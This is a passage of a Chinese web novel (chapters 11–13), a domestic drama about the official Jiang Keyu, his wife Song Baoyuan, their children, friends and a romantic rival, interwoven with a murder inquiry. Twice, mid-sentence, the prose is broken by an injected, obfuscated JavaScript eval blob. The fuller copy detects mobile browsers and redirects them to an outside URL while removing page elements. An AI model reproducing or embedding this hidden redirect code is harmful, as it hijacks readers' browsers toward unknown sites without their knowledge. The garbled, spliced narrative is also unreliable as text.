江珂玉愣了愣,低头整理衣襟,目光躲闪。 依旧矢口否认,“没有。” “你还把不把我们当兄弟?”高洛书幽幽道,“不说实话,把我们当外人呗。” 江珂玉眉头轻蹙,“本就没什么事。” 他尝试转移话题,“倒是你,仙女找到了吗?” “要是找着,我就不在这了。”高洛书长叹一声,“怎么就是找不到呢?” “没缘分呗。”常云柏摊手道。 高洛书狠狠瞪他一眼,“不可能,若是没缘分,她就不会在我看到她的时候,正好也抬头看我了。” “当时船上又不止你一个人。”常云柏看热闹不嫌事大,搭上江珂玉的肩膀,掌心托起他的脸,“万一人家是在看我们貌美如花的江少卿呢?” “滚!”江珂玉再次狠狠将他推开。 高洛书撅起嘴,“我懒得跟你们说。” “他整幺蛾子也不是一天两天的事了。”常云柏摇摇头,再看向江珂玉,“我还是比较好奇你啊。” “你要我说几遍?”江珂玉显得有些不耐烦,“都说我没事了。” “挂脸了!”高洛书乍然兴奋,“居然逼得我们江少卿挂脸了!肯定是大事!” 他摸摸下巴,兴致盎然,“让我猜猜,刚刚我提他夫人的时候,他躲我视线了,肯定和他夫人有关!” 江珂玉:“……” 高洛书一副“我真智慧”的得意模样,忽又仰天长叹,“不过这也是意料之中的事情,虽然我压根没见过你夫人,也知道你们早晚要完蛋,毕竟这婚事一开始就是嗯嗯嗯嗯,而不是因为你们之间有情谊。” 挟恩持报这四个字他没明说,那人毕竟是江珂玉的养父。养育之恩在前,如何都贬损不得。 但彼此心知肚明。 “你少操心了,完蛋不了。”江珂玉冷静下来,“谁家婚事不是父母之命,媒妁之言,难道大哥大嫂是因为情谊才成亲的?” 常云柏闻言如鲠在喉,怎么突然扯上他了呢。 “我和夫人……”江珂玉顿了顿,“纵然不是因为情谊走到一起,但她为我生儿育女受过苦楚,为我操持后院从未出错,我此生必不负她。再者,当年我已向父亲承诺,此生唯她一人。” “啪啪。”常云柏似是赞许地鼓了鼓掌。 高洛书眯起眼,“你这话是跟我们说呢,还是在提醒你自己?” 不等江珂玉回答,他又摆了摆手,“罢了罢了,你们能忍受跟一个毫无感情的人共度一生,我可不行。我必要寻个心意相通的女子,那日子过得才有盼头呢。” “你先找到活头再说吧。”常云柏嫌弃道,“你爹为了逼你入仕,已经狠心到赶你出家门还不给银两,你竟然还不妥协。我丑话说在前头,接济你一两天已经仁至义尽,后面我可不管你死活。” 高洛书顿时泄气,耷拉着脑袋,偷瞄江珂玉。 “放心吧,”江珂玉举起茶杯敬他,“我是不会收留你的。” “你们算什么兄弟!”高洛书气急败坏,“都不帮我是吧,谁稀罕!” 他怒而起身,阔步往外走。与拿早饭回来的婢女擦肩而过时,还将早饭顺走。 “出息!”常云柏嗤笑道。 江珂玉久久看着高洛书离开的方向,直到常云柏重重拍了拍他的肩膀,“人都没影了,你看啥呢?” “我……”江珂玉回过头,“相貌平平,但很爱笑、的男人,你能想到谁?” 常云柏愣了愣,不确定地抬起手,指向刚刚离开的人,“高洛书?” 江珂玉若有所思,很快摇了摇头,嘴里嘟囔,“他棋术没那么差。” “什么?”常云柏没听清。 没等他问清楚,斑驳树影后来了个姿态端庄的妇人,嗓音爽朗,“不是说家里来了两个客人吗?怎么只有江少卿一个。” 江珂玉起身作礼,“大嫂。” “江少卿和我家郎君好得跟亲兄弟一样,何必跟我行这些虚礼。” 来人是常府的女主人,陆舒然,长相端正,落落大方。 她笑道:“江少卿许久不来,还以为乔迁宴那日才能再见,怎么今日突然来了。” “不敢来得频,怕大嫂误会我是来打秋风的。”江珂玉忽略了她的疑惑。 陆舒然被他这话逗笑,“谁来打秋风,都轮不到江少卿你啊。旁人不知,难道我们还不知,江少卿家底有多厚吗?” 江珂玉嘴角上扬,眼中却不见笑意,“我一微末小官,每月老实拿点俸银,何来家底之说。大嫂莫不是把我夫人的嫁妆,当成我的了。” 陆舒然微怔,不确定他这话里是不是有别的意思。他夫人的嫁妆虽厚,但他母家祖上也是留了不少东西的。 “听说大哥大嫂下个月要乔迁新居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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本就是随便问的,江珂玉心不在焉,没太注意听,走向屏风后,快速换了衣裳再出来,在夫人身侧坐下。 桌上摆满饭菜和热汤,但最显眼的,还是摆在手边的一张请柬。 “给承承请启蒙夫子的事情,夫君可上心了?”宋宝媛便扭头问。 “自然。”江珂玉一边回答,一边翻开了请柬,“是我之前一位同窗,虽然年轻,但颇有学识,也足够耐心。他已经答应,后日便会来府上。” 宋宝媛点了点头,看到了他的动作,“常府的人下午送过来,应该是给你的,收起来吧。” “你没看吗?”江珂玉摊开请柬,指上上面的名字,“是给你的。” 宋宝媛诧异,低头去瞧,“我?” “大哥家的喜事,给你发帖子不是很正常吗?”江珂玉拿起筷子,漫不经心道,“你跟我一块去吧。” 宋宝媛愣住。 没等到她的答复,江珂玉侧目,“不想去吗?” “我……”宋宝媛面露迟疑,心中茫然,“我没有去过,都不认识他们。” 江珂玉笑了笑,夹了一块虾仁鸡蛋到她碗里,“不是有我在吗?” 话一出口,他又有些后悔,这句话会不会太暧昧了。 “而且……”他找补道,“那是大哥家,凭我和大哥的交情,会有人照顾你的。” 盛姑娘吗? 宋宝媛下意识想,无声将筷子戳进饭里。 11. 脸色 新的一天,整个江宅的静谧照常被孩童的笑声打破。 江岁穗举着风车,绕着院子转圈,嘴里“呼呼”的吹。 相比之下,双手捧着脸、蹲在院中央的江承佑就显得格外忧愁。 终于,跑累了的江岁穗一屁股坐地上,挨着哥哥,一同看向大门口的方向。 “哥哥你在看什么?怎么这么不开心。” 江承佑沉沉地叹了口气,“以后我就不能陪你玩了。” “为什么?” “因为我要上刑了。” 从他们身后走来的宋宝媛哑然失笑,“什么上刑,是上学。” “娘!”江岁穗闻声回头,把手里的风车一丢,立马扑过去。 “就是上刑!”江承佑忿忿道,“我都听六安叔叔说了,爹爹经常抓人去上刑。爹他昨天板着脸亲口跟我说的,今天要抓我!” 旁边的丫鬟纷纷笑出了声。 宋宝媛抱起女儿,看向儿子,叹了口气,“你看见你爹爹就跑,他不把你抓住了,怎么带你去见夫子?” 江承佑仰着头,眉头拧得像大人一样,像是有说不尽的哀愁。 “夫人。”巧银小跑追来,“庄夫子已经到前厅了,郎君说,让您现在就带小少爷过去。” 宋宝媛将江岁穗交给奶娘,自己去牵江承佑的手,“走吧承承,你爹爹叫我们过去了。” 见他满脸抗拒,又小声道:“要是误了时辰,你爹爹真要来亲自抓你了。” 江承佑一激灵,老实牵上娘亲的手,一同往外走,但还是没忍住哭诉,“娘,我是爹爹亲生的吗?他为什么那么狠心,要把我也抓去上刑!” “都说是上学啦。”宋宝媛哭笑不得。 江承佑沉浸在自己的悲伤中,什么也听不进去。 一路磨磨蹭蹭,走到前厅,已经过了一刻钟。 隔着半扇门,宋宝媛止步,透过门缝得见江珂玉口中那位富有学识的同窗。 其人生得周正,至少面相上,像个正气凛然的君子。 宋宝媛蹲下身来,给撅着嘴的江承佑理了理衣襟,叮嘱道:“你过去要先行礼,知道吗?” “娘亲不和我一起去吗?” 宋宝媛顿了顿,视线再次穿过门缝,瞧了一眼与同窗寒暄的江珂玉。 不知是不是因为此前,自己心中生了芥蒂,所以总觉得,他与旁人交谈或寒暄时的笑容,总比在自己这个妻子面前要轻松惬意许多。 “岁穗还在等娘亲呢,你要勇敢一点,不用怕,你爹爹在呢。” 江承佑欲言又止。 世上最可怕的时候,莫过于爹爹在。 但娘亲这般期待地看着他,他犹豫过后只是点了点头,视死如归般转身跨过门槛。 宋宝媛注视着他小小的背影,见他走到了江珂玉身边,便放心离开。 她的身影在门口消失的一瞬间,前厅会客的江珂玉回首张望,只来得及瞥见一片衣袂。 “娘亲没有和你一起来吗?” 江承佑乖乖行礼,抬头道:“我是大孩子了,这点小事,不需要娘亲操心的。” 江珂玉眼皮跳了跳,目露质疑。 倒也没有揭穿他,向他介绍道:“这位是庄夫子,从今日开始,他会留在府上,教你读书习字。” “见过庄夫子。”江承佑规规矩矩躬身道,绷着小脸,姿态板正。 庄英许瞧了忍俊不禁,“前些年和京中旧友通信,提及你生了个和自己截然不同的皮猴子。今日亲眼所见,倒也没那么夸张,孩子很是乖巧嘛。” 江珂玉苦笑着摇了摇头,“过段日子,你再说这话不迟。” “旁的不说。”庄英许蹲下身来,与江承佑平视,“至少你家小郎君这模样,将来势必跟你一样,是个容易招蜂引蝶的。” 招蜂引蝶,这四个字一出,夫人独自坐在水榭凉亭的画面不由自主地出现在江珂玉的脑海。 以及那个男人到底是谁的疑问,再次盘踞心头。 “可他长得不像我。”他头一回如此仔细地打量自己儿子的脸,肯定道:“像他娘。” “郎君。”外头小厮匆匆跑来禀告,“盛姑娘来了。” 江珂玉来不及思考她来做什么,下意识先看了眼庄英许。 后者眸光一滞,不过很快恢复如常。 同在一个书院中,当年很多应当隐秘的事情,实则人尽皆知,甚至在很长一段时间里传得沸沸扬扬。 比如江珂玉差一点和盛绮音订下婚约,却被养父的女儿横插一脚。比如之后庄英许曾向盛绮音表明心意,但被直言拒绝。加上科考落榜的双重打击,庄英许选择离开京城,已有六年之久。 “咳。”江珂玉清了清嗓子,“六安,带庄夫子和小少爷去静斋,再告知夫人,有客到访。” 庄英许站起身来,只是笑笑,拍了拍手边江承佑的肩膀,没有多言。 * 房间里静悄悄的,江岁穗扒在门口,探头探脑。 确定没人,她蹑手蹑脚走进,直奔梳妆台而去。 她笨拙地攀爬,踩上椅子,趴上台面去够娘亲的首饰盒。 打开来,见到各种各样的珠钗、发簪、珠花……没忍住笑出了声。 对着镜子,她将漂亮首饰一股脑全往头上插。 “岁穗?” 娘亲的声音从门外传来,江岁穗知道娘亲找来了,顿时手忙脚乱。 “砰!” 首饰盒被她碰倒。 听到声响的宋宝媛快步进屋,见只是东西掉了,松了口气。 江岁穗抓起原本压在首饰盒下的本本,好奇地打开,但不识字。 “娘,这是什么?” 宋宝媛上前,先将她从椅子上抱下来,“这是请柬,常伯父邀请你和哥哥过几日去他家玩。” “真哒?” “嗯。” “那我又可以找珂珂姐姐玩啦!” 江岁穗抓着请柬,兴奋地跑出屋。 宋宝媛无奈,吩咐巧银跟紧她,自己蹲下身来收拾地上的首饰。 江岁穗前脚刚走,后脚巧月走了进来。 “夫人,刚刚六安来说,郎君请你去前厅会客。” 巧月前后情绪不一,“说是盛姑娘来了。” 宋宝媛抬头时眉头轻蹙,“夫子呢?” “同小少爷一起去静斋了。” 宋宝媛站起身来,回身在铜镜里瞧了瞧自己。 不知那人是来干什么的,但不管她是否愿意,好像……只要她的身份没变,她就没理由不出现。 那张请柬也是如此。 “走吧。” 巧月闻言,跟随在后。 还未至前厅,隔着一道门,宋宝媛就听到了姑娘银铃般的笑声。 不愿浪费时间多想,她脚步未停,径直步入前厅。 “宋姐姐!” 盛绮音一见人影,立马向前相迎。 宋宝媛勾起礼貌的笑容,一时竟不知谁主谁客。 “盛姑娘怎么来了。” “我来还你衣裳。”盛绮音笑意盈盈道,将放在手边的木盒捧起,亲自打开,“未经姐姐同意,就穿了姐姐的衣裳,是我不对。我 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“怕是捎不了。” “为什么?”盛绮音轻哼一声,似是不满。 宋宝媛终于回首,看了过来。 江珂玉匆忙避开视线,解释道:“我要去东桥街查案,常云柏还在那等我。” 盛绮音撅了撅嘴,“那我怎么办?” “找你嫂子。” 江珂玉撂下这么一句,匆匆出门。 “诶?”盛绮音怔怔看着他离开。 宋宝媛在她身后,淡然开口,“盛姑娘要去哪里尽管说,我安排府上马车送你便是。” 盛绮音缓缓转身,“宋姐姐当真愿意借用马车?” 宋宝媛觉得她这话奇怪,“自然。” 听到这话,盛绮音长舒一口气,“看来是我多虑了。” 她倏忽展颜,言语俏皮,“我还以为宋姐姐讨厌我,觉得我碰了就脏了,生怕我抢了姐姐的东西呢。” 宋宝媛抬眼,“何来怕字。” “没有就好。”盛绮音避而不谈,“那就麻烦宋姐姐,让下人送我去趟棠华苑了。过几日大哥家乔迁宴,我得去好好挑几件首饰,不然露面也太丢人了。” 宋宝媛往身侧看了一眼,巧月会意,将那云霞团扇拿出。 “这东西,盛姑娘还是带回去吧。” “别呀!”盛绮音笑道,“宋姐姐不也要去大哥的乔迁宴吗?这把扇子上正是黄昏时节,云霞将褪的好风光,与宋姐姐极为相衬。” 四目交汇,一个满含笑意,一个古井无波。 片刻反应后,宋宝媛从巧月手里拿过扇子,步伐缓慢地朝盛绮音走去。 她将扇子拿至眼前,似仔细观赏。 “黄昏。”她在盛绮音面前停下脚步,嘴中低喃,“黄昏。” 盛绮音不明所以。 宋宝媛忽而嘴角上扬,将面前人的手温柔掰开,将扇柄放入。 “盛姑娘近来是熬夜了,还是青橘吃多了?” 盛绮音愣了愣,下意识想将扇子丢下。 宋宝媛突然手上用力,裹得她摆脱不掉。 却又在她放弃挣扎的瞬间,如逗弄般抬手拂过她的脸。 “黄昏,明明跟盛姑娘脸色更衬呢!” “你……” “开玩笑。” 宋宝媛语调降下,倏忽严肃,“家中有孩子脱不开身,巧月,替我送送盛姑娘。” “是。” 12. 鱼羹 官府撤兵之后,东桥街又渐渐恢复往日的热闹。 但户部侍郎一案还未有结果,负责此案的人员还得继续追查,只是不再闹出大的动静。 白天日头有些烈,江珂玉和常云柏站在面摊前,后者用折扇遮着晒到脸的阳光,向面摊主问道:“听说你这摊至少支到戌时?” 正在和面的摊主抬头瞥了他一眼,没有马上回答。 见状,江珂玉从袖口摸出碎银子,放到桌上,“老板,来两碗面,不用找了。” “好嘞!”面摊主顿时喜笑颜开,“二位这边坐。” 他有眼色道:“也是为了多赚点铜板养家糊口,所以这摊至少每天都得支到戌时。” 常云柏又问道:“那五天前的那晚,这摊前可路过过什么可疑的人?” “五天前?”面摊主仔细回忆了一番。 最后摇了摇头,“那天晚上生意最差,所以我有印象。只有老张家的儿子照常来我这吃了碗面,其他我什么人都没见过,更别说什么可疑的人了。” 江珂玉抬眼,“老张家的儿子?” “就是巷子里原来卖豆腐的老张他儿子。”面摊主叹了口气,“老张家里穷,老张去年又生了重病,一直躺床上。他儿子为了给他凑药钱,什么活都干,每天忙到很晚才来我这吃上一碗面。” 江珂玉扭头看向巷口,“他家具体住哪?” “就沿着这条巷子走,最里面那家就是。” “你怀疑这个老张的儿子?”常云柏思索片刻,摇了摇头,“可他每天都来,又身份明了。” 江珂玉没回答他,只是跟面摊主说:“上面吧。” “好嘞!” “你还打算吃上了?”常云柏满脸质疑。 江珂玉淡定地给自己抽了双筷子,“已经晌午了,不得对付一口。” 他心中已有猜疑,“吃完去老张家瞧瞧。” “可我不想吃这个。”常云柏饱含怨气,“也不想去老张家。” 他不死心,“去老张家就算了,咱能不能换点别的吃?” 江珂玉冷哼一声,“有时间吃饭就不错了。” “小四!”常云柏高高摆手,好像看到了救星。 江珂玉顺着他的视线看过去,竟然还真是盛绮音提着食盒来了。 “可算找到你们了。”盛绮音径直走来,气喘吁吁。 “你不是去那什么棠华苑了吗?”江珂玉诧异。 盛绮音点点头,“去了,但逛了逛就走了。闲着没事,又知道你们在外查案辛苦,所以特意去珍馐馆给你们带了几个热菜。” “还是小四贴心。”常云柏感叹道,见她神色恹恹,不解问:“不过你脸色怎么这么差,跟被谁欺负了似的。” “没有啊。”盛绮音摸了摸自己的脸,又极为快速又小心地瞥了一眼江珂玉。 捕捉到这一眼的常云柏扭头,目含质询。 “我?”正准备尝尝面的江珂玉诧异地左右看了一眼,“难不成因为我早上没捎你?” “才不是呢。”盛绮音笑了笑,只是看起来有些勉强。 常云柏挑眉,“有什么事就说呗,有大哥在,还怕没人给你做主吗?” 盛绮音低下头,沉默半晌,又瞟了一眼江珂玉。 江珂玉难掩诧异,“说呗。” “我、我没什么事。”盛绮音结结巴巴,“就是、就是好像,好像我给宋姐姐挑的歉礼,她不太喜欢。她……说扇子难看,和我、和我一样难看。” 此言一出,江珂玉和常云柏两个人都沉默了。 “大哥、二哥。”盛绮音声音怯怯,肉眼可见地自我怀疑,极不自信,“你们说实话,我是不是真的变丑了。” “没有啊。”常云柏立马否认,扭头看向江珂玉。 江珂玉盯她片刻,忽而嗤笑出声。 “你有没有搞错,我夫人最是温柔大度,对下人都从未说过重话。她又怎么可能会对你,说这么难听的话。” 盛绮音怔然,不可抑制地红了眼睛,“那二哥是觉得,我在说谎咯,我图什么?” “八成是你误解了她话里的意思。”江珂玉肯定道。 完全想不出别的缘由。 盛绮音欲言又止,低下头去,似是在平复心情。 过了一会儿,“可能吧。”她话里有藏不住的委屈,“许是我想多了。我就是觉得,自从上次我穿了宋姐姐的衣服后,她对我的态度,就有些和从前不一样了。尤其……尤其是二哥你不在的时候。” “那还真是你想多了。” 江珂玉微不可查地叹了口气,本就不多的胃口瞬间荡然无存,甚至生出几分和盛绮音相比,有过之而无不及的忧愁和悲伤。 “她最近对我的态度,也很一般。” 盛绮音:“……” 常云柏的好奇心涌上心头,“为什么?” 亭台水榭中的半醉美人再一次在江珂玉的脑海中浮现,他不愿细想,可好像就是那一天开始,夫人……说不上来哪里变了,但他总感觉和从前不太一样。 “砰砰。”常云柏敲了敲桌子,“发什么愣呢,你们夫妻吵架了?” “没有!”江珂玉下意识反驳,“许是……孩子太闹,她心力交瘁吧。” 常云柏半信半疑地点点头,左右瞧了瞧,见一个比一个郁闷,一时竟不知该先安慰谁。 * 傍晚,江府的饭菜已经摆上桌。 等待江珂玉回来的空闲里,宋宝媛一边翻着账本,一边交待着巧月为自己挑选去常府乔迁宴的衣服。 “不要太素,毕竟乔迁是喜事。也不要太艳,人家的喜事,旁人不好招眼的。” 她跟这头说着话,那头江承佑一边跑一边喊着“娘!” 宋宝媛回头,只见朝她跑来的小人全身遍布墨点子,手里还拿了张写了三个大字的纸。 “娘!快看我写的字!” 进屋后的江承佑迫不及待地展示,将纸张举过头顶,原地转圈,势必让屋里每个人都看得清清楚楚。 纸上写的是他的名字。 “小少爷真棒!”巧月第一个捧场道。 “真丑!”江岁穗却歪着头,扬声拆台,“一点都没有爹爹给我写的好看。” 江承佑丝毫没有被打击到,微微不满地朝妹妹做鬼脸,“谁要你觉得?” 江岁穗不甘示弱,也朝他 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宋宝媛闻言侧目,看向外头,地面果然湿了,屋檐下还有脚印。 她意识到什么,缓缓回头,望向屏风后的身影。 待江珂玉换好衣服将走出来时,她又提前将视线收回。 “抱歉。”宋宝媛轻声道,同时将热汤舀进碗里,递过去,“我整日待在屋里,都没发现下雨,忘记差人给你送伞。” “无妨。”江珂玉接过碗,“一点小雨,何况我还是坐马车回来的,没淋着什么。” 宋宝媛想解释,开口却又不知还能说什么。 汤还热乎,江珂玉拿在手里,晃了晃,若有所思。 “今天中午,小四来给我和常云柏送饭菜。常云柏见她脸色不好,问她怎么了。她竟然说,你骂她难看。” 宋宝媛怔然,蓦地像委屈般低下头。 “我听她说,要去棠华苑挑首饰,为去常府乔迁宴做准备,想必是漂亮些在人前露面。又见她脸色微微蜡黄,便提醒她近来少熬夜,或者别吃青橘。” “我一猜就是她误解了你。”江珂玉放在心上的并非此事,说完便抛之脑后。 可宋宝媛却讶异于自己刚刚那番说辞,竟然如此不假思索。 竟然……如此虚伪。 江珂玉状似无意地看了她一眼,“小四多心也有心,特意从珍馐馆买了我们常吃的那道鱼羹来。倒是让我想起,夫人亲手做的桂花鱼羹。” 是在说她不如别人贴心吗?宋宝媛不太明白他的意思,“那、我明日做了,差人给你送去。” “不用!”江珂玉忙道,“家中事物繁琐,你又要照看他们两个调皮鬼,就不必浪费精力在我身上了。” 宋宝媛垂眸,一边夹菜到江承佑碗里,一边道:“倒也算不得麻烦。” “当真不必。”江珂玉一再拒绝,“你若有时间,应当留给自己,多休息休息。” 似是怕她坚持,唯恐她因自己劳累,江珂玉面上严肃,再度出声强调。 “不必麻烦。” 13. 预感 淅淅沥沥下了一整夜的雨,到第二日天亮时才停。 早晨起床,宋宝媛独自走出房门时,屋檐处还向下滴着水。 下人们各自忙碌,有条不紊。唯有巧银左手拎着木桶,右手被江岁穗抓着,一路小跑,看起来冒冒失失的。 “慢点,地上滑。”宋宝媛忍不住出声提醒。 她话音未落,江岁穗便立刻脚底如抹油,扎扎实实摔了一屁股墩。 “砰!” 巧银吓一跳,顾不上手里的桶,急忙去扶小主子。 木桶滚落,里面带着腥味的水流一地,还有一条鲜活的青鱼摔在地面翻跳。 江岁穗没哭没闹,还没站起来就往前一扑,伸出胖乎乎的双手逮鱼。 “脏。” 宋宝媛快步上前,想要将女儿抱起。 但江岁穗抓着鱼尾巴不肯松手,“娘!它不听话!” 宋宝媛将碍事的木桶立起,“快松开,很脏的。” “那它跑了怎么办?它跑了,就不能给爹爹做鱼羹了!” 宋宝媛愣了愣,回过神来看向巧银,“我没说要准备这个。” “是姚嬷嬷说,先备着。”巧银轻声回答,“恰好小小姐看见,非要拿过来玩。” 宋宝媛不自觉眉头轻蹙,“嬷嬷人呢?” “在后厨。” 因为江承佑要跟着夫子启蒙的缘故,全府上下都哄着他。姚嬷嬷更是对他无用不应,一大早便在后厨给他做中午想吃的点心。 宋宝媛来时,刚刚做好的云片糕出炉,糕点的香味溢出了厨房。 “嬷嬷。” “夫人来了。”姚嬷嬷将云片糕装进碟里,先拿去给宋宝媛尝了尝,“夫人可是来给郎君做鱼羹的?” 一口云片糕在嘴里化开,甜滋滋的,暂时消解宋宝媛的些许忧愁。 “他昨日自己都说,不必麻烦。” 姚嬷嬷闻言叹了口气,“您又不是不知,郎君平日不是多话的人,他既说了,心中自是有期待的。” “可他也不是口是心非的人。” “夫人啊。”姚嬷嬷感到无奈,难掩苦口婆心,“你难道没听见昨日郎君还说了,那盛家姑娘有心,专门去给他送了饭菜吗?” 宋宝媛垂眸,“听到了。” “那盛家姑娘都不怕麻烦,你这个做妻子的,怎能怕辛苦。” “我并不是觉得辛苦,我只是……”宋宝媛忽而语塞。 只是觉得没有意义。 六年了,做一个贤良淑德,对丈夫无微不至的妻子,已然六年了。 不还是身处如此窘境。 姚嬷嬷擦干净了手,朝她走近,“我知夫人还为之前那幅画心存芥蒂,可既不想散了这个家,有些委屈该咽还得咽。事得翻篇,人得往前走,夫人若因着这一两件事,在这种时候闹脾气,就是给了旁人趁虚而入的机会。” “在此之上,更是不能让郎君觉得,自己的妻子还比不得旁人贴心。所以说这鱼羹,夫人不仅要亲手做,还得亲自送去。” 宋宝媛盯着手里的云片糕,一言不发。 * 又是一日在外寻访,杀死户部侍郎的真凶就像凭空出现,又遁地消失一般,从头到尾无影无踪。 江珂玉和常云柏并行在街上,前者边走边翻看卷宗,后者左顾右盼。 “好不容易有的线索,查着查着全都没了。”常云柏语含嘲讽,“一个个欺上瞒下,不交实底,又催着我们结案,真是好笑。” 凶手那头查不到什么,自然就得从受害者身上找突破口。可户部侍郎的底细挖出来,牵扯官员甚多。不乏有高官,他们不说实话,大理寺和刑部都无计可施。 江珂玉皱眉,只觉越来越棘手。 “别看了,还能看出花来?”常云柏直接从他手中夺走卷宗,“小四来了,先吃饭吧。” 盛绮音早早出现在约定好的茶摊里,提前要了一壶茶,摆好了自己带来的饭菜。 江珂玉一副心事重重的样子,被常云柏拽进茶摊,摁着坐到中间。 他忽地出手,从常云柏手里夺回卷宗。 后者朝他翻了个白眼,且摇了摇头,但不再管他,先拿起了碗筷。 “二哥不吃吗?” “没什么胃口,先放着吧。” 盛绮音霎时眉头紧锁,“不管怎样都得吃东西啊,我瞧你自从接了这个案子,人都瘦了。” 她寻求附和地给常云柏倒了杯茶,“大哥,你说是不是?” 常云柏抬头瞥了一眼,“好像是有一点。” “吃你们的吧。”江珂玉不耐烦道。 他心烦意乱,近来简直没一件好事。 今早大理寺卿单独把他叫去,话中明里暗里说死者为大,叫他放弃深究户部侍郎的过去。 还说相信他的本事,即便失去这部分线索,也一定能找到真凶。 什么线索都没有,他怎么找? 茶摊临街,江珂玉背对街道,听着来来往往的喧闹,愈发焦躁。 “天大地大,自己的身体……”盛绮音顿了顿,目光飞快掠过拐角处缓缓驶来的马车,“自己的身体最大。” 她说着,拿起筷子,将面前的笋丝夹进江珂玉的空碗里。 马车驶进,路人纷纷避让。车里的宋宝媛掀开了车帘,视线平扫,像是在寻找什么。 “二哥!”盛绮音不满,“你好歹吃一口啊,哪怕是看在我这么辛苦带过来的份上呢?” “就是。”常云柏附和,将自己最不爱吃的那道菜倒进江珂玉碗里,“给点面子呀,小四的心意呢。” 两人一人一句,吵得江珂玉脑袋疼,看向自己面前被他们一人一筷子堆满的碗,愈发没有胃口。 但的确是小四不辞辛苦送来的,多少要领情。 江珂玉拿起筷子,听到了身后的车轮声,并未在意。 “爹爹!” 稚童天真无邪的声音瞬间吸引前前后后无数目光。 毛茸茸的脑袋从宋宝媛怀里钻出,趴上车窗,车夫听到动静,立马停下马车。 江珂玉怔愣片刻,回头望去。 小小的江岁穗手里攥着一个奶酪包,超级兴奋地朝他摆着手。若非身后宋宝媛拉着,小孩整个人都快要从车窗里钻出来。 “岁穗。”江珂玉撂下筷子,匆忙起身。 他直接从车窗将江岁穗抱了出来,又往前走了几步,伸手扶宋宝媛下马车。 “你们怎么来了?” 江岁穗仰着头抢答:“爹爹昨天自己说,想吃娘亲做的桂花鱼羹,所以娘亲、还有我!一大早就给爹爹做鱼羹了!” “是她闹着要买珠花,还非得亲自挑。”宋宝媛嗔怪地捏了捏女儿的脸,“我拗不过,只好带她去一趟棠华苑,正好顺路大理寺,便想着,顺便给你带碗鱼羹。虽然你不在,可岁穗生怕她爹爹吃不上热乎的,急着要找到你。我想起昨日你在东桥街,又问了问你在大理寺的同僚,便过来了。” 江岁穗歪头躲开娘亲的手,埋头在爹爹脖颈间,撅起了嘴,“我和娘亲找了爹爹好久!” “对不起。”江珂玉连忙道歉。 “那好吧。”江岁穗马上又开怀,“娘亲说了,认错就是好孩子,那爹爹认错就是好爹爹。” 江珂玉被她可爱模样逗笑,视线慢慢高过她的头顶,看向妻子,“辛苦。” “你瞧他那样。”还在原位上的常云柏目露鄙夷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318990|167384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刚还对着我们甩脸子,现在夫人孩子一来,马上变成贤夫良父了。” 他摇着头嘟囔,“这脸变的,真够快的。” 在他身侧的盛绮音沉默不语,但放在桌下的双手紧紧攥着衣角。 江珂玉抱着女儿走在前,领着宋宝媛走进茶摊。 “弟妹坐。”常云柏连忙让开位置,方便他们夫妻俩挨着。 宋宝媛脸上挂着浅浅笑意,微微欠身行了一礼。 抬头时,巧合地与坐在对面的盛绮音对上视线。 “盛姑娘也在。” 盛绮音笑了笑,“宋姐姐今日怎么有空。” “承承有夫子管了,我自然会轻松一些。”宋宝媛说着,将食盒放在长椅上,打开来,“听夫君说,昨日盛姑娘误以为我出言不逊?看来我的确不适合开玩笑,竟然让盛姑娘当真了。” 鱼羹的香味弥漫开来,江岁穗用力地从江珂玉怀里挣脱,踩上长椅,霸道地将面前饭菜全都推开,“我来!娘亲我来!” 她一定要亲自把鱼羹端上桌。 不过她肯定是拿不稳的,江珂玉默默为她拖着底,但没制止她的积极表现。 “昨日确实伤心了好一阵儿。”盛绮音叹了口气,又嘴角上扬,“幸好二哥脾气好,能耐着性子劝我,才让我想通,不然我到现在都误会宋姐姐呢。” 她摸了摸脸,“实在是宋姐姐太漂亮了,让我自惭形秽,忍不住多想。昨日我这被宋姐姐打击的自信心,大哥二哥轮番夸了一下午,才堪堪找回来。可今日又见宋姐姐,还是觉得自己丑陋。” 江岁穗拿起勺子,舀了慢慢一大勺鱼羹,小心翼翼喂到江珂玉嘴边,“爹爹快吃,都要凉了!” “好。”江珂玉顺从地张嘴。 尝到这熟悉的味道,他温柔地摸了摸江岁穗的脑袋,又状似无意地瞧了一眼注视着自己的妻子。 宋宝媛眉目平静,“相由心生,盛姑娘这样的才女,满腹诗书气自华,相貌根本就不重要。又何必为此纠结,徒添烦恼。” “宋姐姐这样的美人自然是不能理解我这种普通人的。”盛绮音的手肘支在桌上,双手捧起了脸,“不过已经这样了,我也不贪图做什么绝世大美人,只要身边的人不嫌弃就好。不过我也庆幸,和身边在乎的朋友走到一起皆是因为情分。旁的都会变,但情分不会。” 江岁穗觉得差不多了,仰起头问:“爹爹吃饱后,能和娘亲一起陪我去买珠花吗?” 江珂玉神色为难,“可是爹爹还有公务在身。” “哼!”江岁穗闻言立马丢下勺子罢工,满脸的不高兴。 江珂玉哭笑不得,“岁穗乖,爹爹下午不能陪你。但爹爹今天一定早些回去,给岁穗讲睡前故事好不好?” “真的?”江岁穗的情绪都写在脸上。 江珂玉将她搂得更近一些,亲了亲她的鬓角,“嗯。” “我瞧情分是最容易变的。”宋宝媛伸出食指,宠溺地点了点女儿的鼻子,“一不高兴,就连血脉相连的情分都不认呢。” 盛绮音顿了顿,没过多久,依旧语气悠扬,“小孩子哪能跟大人一样。” 独自旁观他们的常云柏:“?” 直觉告诉他,这俩人一来一往绝对话里有话,所以他竖起耳朵,饭都没心思吃了,但还是听得丈二和尚摸不着头脑。 一张桌子像是划分出了三个世界。 一对温情的父女,两个交谈的女人,还有一个茫然的观众。 常云柏扫了一眼对面的江珂玉,后者正在耐心地哄着女儿。 